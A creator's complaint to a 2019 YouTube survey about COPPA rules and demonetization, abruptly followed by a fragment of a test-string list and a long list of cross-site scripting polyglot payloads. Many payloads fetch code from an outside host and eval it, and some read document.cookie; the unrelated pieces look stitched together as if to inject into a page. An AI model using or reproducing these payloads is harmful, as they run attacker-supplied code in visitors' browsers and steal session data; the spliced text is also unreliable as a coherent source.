This was my response to a 2019 YouTube survey. I feel I put my heart on the line with my response, which is why I would like to share them with you here.
Why are you very dissatisfied with YouTube as a place for video creators today?
I take these surveys seriously as YouTube is my #1 passion. The general mood on YouTube right now is very dull and a mixture of angry and annoyed... but annoyed to the point where it feels like the platform is letting us down.
After the recent child content thing with COPPA, creators are being heavily impacted. While I know this update is beyond YouTube's control, it feels like creators are being brushed to the side. The guidelines to follow are still very unclear on topics like "what about content for everyone, like Minecraft or something?" I have also seen people very concerned about the rumoured $42,000 per video if a creator messes up on marking a video - and this was not addressed at all.
I have been creating on YouTube for almost 10 years now - and just hit 100K subscribers recently. I wonder if I will ever be able to hit one million before the platform is no more. Seriously.
Creators are being severely limited - we can't post content that appeals to children (beyond your control, I know), but we can't post content that is mature either because of demonetization. So the only content allowed is Late Night Talk shows and tech reviews? I feel that the only way to save the platform is to lighten up on mature content - just like on TV. Commercials are seen all the time on mature TV shows, yet it doesn't matter for them.
After this new update I feel that the entire platform is panicking and scrambling. I have tried to diffuse it by calming people down, but I still get countless messages from people asking for clarification on this update.
Next, I want to point out how YouTube treats creators. We feel so disconnected from the platform it isn't even funny. I recently found the hidden rating system in YouTube HTML and made a video on it. Immediately after it was patched - Why? Why is YouTube so secretive? Because I don't have at least 10 million subscribers, I feel like nothing on this platform, and that really sucks man. YouTube, right now, isn't a place for creators at all. Please, please fix this.
Thank you!
Seriously - these have been an amazing 10 years, and I hope there will be more to come.
I honestly feel that YouTube has lost it's touch with creators. I speak for many when I say it feels like YouTube cares about select few, mostly celebrities and corporations. While things like creator awards are nice, we know that the platform will terminate any channel if the media speaks out against it. We know you hear our concerns, and we know you knowingly ignore them.
Please. PLEASE find your way back to your roots - the creators. You have helped us so much. Let us help you. Simply ask us and we will be there - open forms for us to contribute ideas to, or something like that. I love YouTube, and truly want it to be great.
# Reserved Strings # # Strings which may be used elsewhere in code undefined undef null NULL (null) nil NIL true false True False TRUE FALSE None hasOwnProperty then constructor \ \\ # Numeric Strings # # Strings which can be interpreted as numeric 0 1 1.00 $1.00 1/2 1E2 1E02 1E+02 -1 -1.00 -$1.00 -1/2 -1E2 -1E02 -1E+02 1/0 0/0 -2147483648/-1 -9223372036854775808/-1 -0 -0.0 +0 +0.0 0.00 0..0 . 0.0.0 0,00 0,,0 , 0,0,0 0.0/0 1.0/0.0 0.0/0.0 1,0/0,0 0,0/0,0 --1 - -. -, 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 NaN Infinity -Infinity INF 1#INF -1#IND 1#QNAN 1#SNAN 1#IND 0x0 0xffffffff 0xffffffffffffffff 0xabad1dea 123456789012345678901234567890123456789 1,000.00 1 000.00 1'000.00 1,000,000.00 1 000 000.00 1'000'000.00 1.000,00 1 000,00 1'000,00 1.000.000,00 1 000 000,00 1'000'000,00 01000 08 09 2.2250738585072011e-308 # Special Characters # # ASCII punctuation. All of these characters may need to be escaped in some # contexts. Divided into three groups based on (US-layout) keyboard position. ,./;'[]\-= <>?:"{}|_+ !@#$%^&*()`~ # Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F, # and U+007F (DEL) # Often forbidden to appear in various text-based file formats (e.g. XML), # or reused for internal delimiters on the theory that they should never # appear in input. # The next line may appear to be blank or mojibake in some viewers. # Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F. # Commonly misinterpreted as additional graphic characters. # The next line may appear to …
<sVg OnPointerEnter="location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//</div">
</title></style></textarea></script></xmp><svg/onload='+/"/+/onmousemove=1/+/[*/[]/+fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)})//'>
<%00EEEE<img src /\/\//onLoAD='alert()'/\/\/\>img src>%0APayload
<%00EEEE<h1 /\/\//onMOuSEovEr='alert()'/\/\/\>h1>%0APayload
a",prompt%0A/*HelloWorld*/(document.domain
test",prompt%0A/*HelloWorld*/(document.domain)
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<noscript><p title="</noscript><img src=d onerror=fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)}) />">
</title></style></textarea></script></xmp><svg/onload=fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)}) />+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
</title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
javascript:`/*</title></style></textarea></noscript></script></noembed></template></select/"/'/*--><frame onload=fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)})><svg/\"/*<svg onload=' /**/-fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)})//'>javascript:/*`/*\"/*'/*</noembed>"/*<frame src=javascript:/**/;fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)})//--></title></textarea></style></noscript></template></select></script><<svg/onload= fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)})//>
</textarea><img src=https://cdn.betterttv.net/emote/5c0e1a3c6c146e7be4ff5c0c/3x onload=fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)}) />
<!–>/*’/*\’/*”/*\”/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=/**/;{fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)}}//><Base/Href=//google.com\76–>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)}) />+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>`
javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>`
javascript:/*`//'//\"//</style></noscript></script>--></textarea></noembed></template></title><script>/<frame <svg"///*/ onload=alert()//</script>
javascript:/*"//'//`//\"//--></script></title></style></textarea></template></noembed></noscript><script>//<frame/<svg/*/onload= alert()//</script>
javascript:/*-->'//"//`//\"//</title></textarea></style></noscript></script></noembed></template><script>/*<frame/<svg */ onload=alert()//</script>
javascript:/*"/*'/*`/*\"/*</script/</title/</textarea/</style/</noscript></template></noembed>--><script>/*<svg <frame */ onload=alert()//</script>
javascript:/*"/*'/*\"/*`/*--></title></noembed></template></textarea></noscript></style></script><script>//<frame <svg */ onload=alert()//</script>
javascript:/*"/*`/*'/*\"/*--></title></script></textarea></noscript></style></noembed></template><script> /*<svg <frame onload=/**/alert()//</script>
javascript:"/*'//`//\"//</title></template/</textarea/</style/</noscript/</noembed/</script>--><<script>alert()<</script><frame/*/ onload=alert()//>
javascript:alert()"//</title></textarea></style></noscript></noembed></template></script>\"//'//`//--><script>//<svg <frame */onload= alert()//</script>
javascript:/*"/*`/*'/*\"/*</script></style></template></select></title></textarea></noscript></noembed><frame/onload=alert()--><<svg/*/ onload=alert()//>
javascript:"/*`/*\"/*' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert()//--><<sVg/onload=alert``>
javascript:/*--></script></textarea></style></noscript>\"</noembed>[`</template>["</select>['</title>]<<script>///<frame */ onload=alert()//<</script>
javascript:"/*\"/*'/*`/*--></noembed></template></noscript></title></textarea></style></script></select><frame/onload=alert()><<svg/onload= /**/alert()//>
javascript:/*"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script><<script> /**/alert()//<</script><frame onload=alert()>
javascript:"/*\"/*'/*--></title></textarea></style></noscript></template></noembed></script><<script>/*` /*<frame src=javascript:/**/alert()//><</script>
javascript:"/*'/*\"/*` /**/alert()//--></title></textarea></style></noscript></noembed></template></script><script>alert()</script><svg/<frame/onload=alert()>
javascript:/*"/*`/*'/*\"/*-->*/ alert()//</title></textarea></style></noscript></noembed></template></script></select><frame/onload=alert``><<svg/onload=alert()>
javascript:`/*</title></style></textarea></noscript></script></noembed></template></select/"/'/*--><frame onload=alert(document.cookie)><svg/\"/*<svg onload=' /**/-alert(document.cookie)//'>javascript:/*`/*\"/*'/*</noembed>"/*<frame src=javascript:/**/;alert(document.cookie)//--></title></textarea></style></noscript></template></select></script><<svg/onload= alert(document.cookie)//>
javascript:alert()//"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script>*/ alert()//<frame onload=alert()><<script>alert()<</script>
javascript:alert()//'//"//\"//-->`//*/ alert();//</title></textarea></style></noscript></noembed></template><frame onload=alert()></select></script><<svg onload=alert()>
javascript:/*"/*\"/*`/*'/**/ (alert())//</title></textarea></style></noscript></script></noembed></template></select><frame src=javascript:alert()--><<svg/onload=alert()>
</textarea><img src=https://cdn.betterttv.net/emote/5c0e1a3c6c146e7be4ff5c0c/3x onload=fetch("https://kubatm.tk/hack").then(res=>res.text()).then(res=>{eval(res)}) />
o